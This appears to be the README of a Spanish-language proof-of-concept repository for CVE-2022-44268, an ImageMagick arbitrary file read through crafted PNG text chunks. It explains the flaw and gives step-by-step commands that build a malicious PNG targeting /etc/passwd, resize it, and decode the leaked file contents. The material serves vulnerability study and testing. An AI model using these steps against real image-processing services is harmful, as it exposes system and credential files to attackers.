
Exploit de prueba de concepto para la vulnerabilidad de lectura arbitraria de archivos de ImageMagick (CVE-2022-44268) mediante fragmentos textuales PNG manipulados, que permite la extracción de archivos del sistema durante operaciones de redimensionado de imágenes.
Este repositorio contiene una Prueba de Concepto (POC) para una vulnerabilidad en ImageMagick (v. 7.1.0-49), una biblioteca de manipulación de imágenes de código abierto ampliamente utilizada. La vulnerabilidad permite a un atacante incrustar el contenido de un archivo arbitrario en una imagen redimensionada cuando ImageMagick analiza un archivo PNG.
Cuando ImageMagick realiza operaciones como redimensionar un archivo PNG, puede incluir el contenido de un archivo del sistema, siempre que el binario magick tenga los permisos necesarios para leerlo. Esta vulnerabilidad surge debido a la gestión incorrecta de fragmentos textuales dentro de los archivos PNG.
Un actor malicioso puede explotar esta vulnerabilidad creando un archivo PNG o utilizando uno existente y añadiendo un fragmento textual de tipo (tEXt). Estos fragmentos consisten en una palabra clave y una cadena de texto. En este caso, si la palabra clave coincide con la cadena "profile" (sin comillas), ImageMagick interpretará la cadena de texto adjunta como un nombre de archivo e intentará cargar su contenido como un perfil sin procesar. Como resultado, cuando la imagen redimensionada se descarga, contendrá el contenido del archivo remoto especificado por el atacante.
Para más información, consulte este artículo de MetabaseQ.
Para explotar Imagemagick, genere un png malicioso:
python3 CVE-2022-44268.py /etc/passwd # Create output.png
Luego, ejecute una operación de redimensionamiento con convert:
convert output.png -resize 50% leak.png
Finalmente, inspeccione la imagen filtrada y convierta el Raw profile a hexadecimal:
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
Nota: Esta POC está destinada únicamente a fines educativos e informativos. Asegúrese de tener los permisos necesarios y la autorización legal antes de probar o utilizar esta POC en cualquier sistema.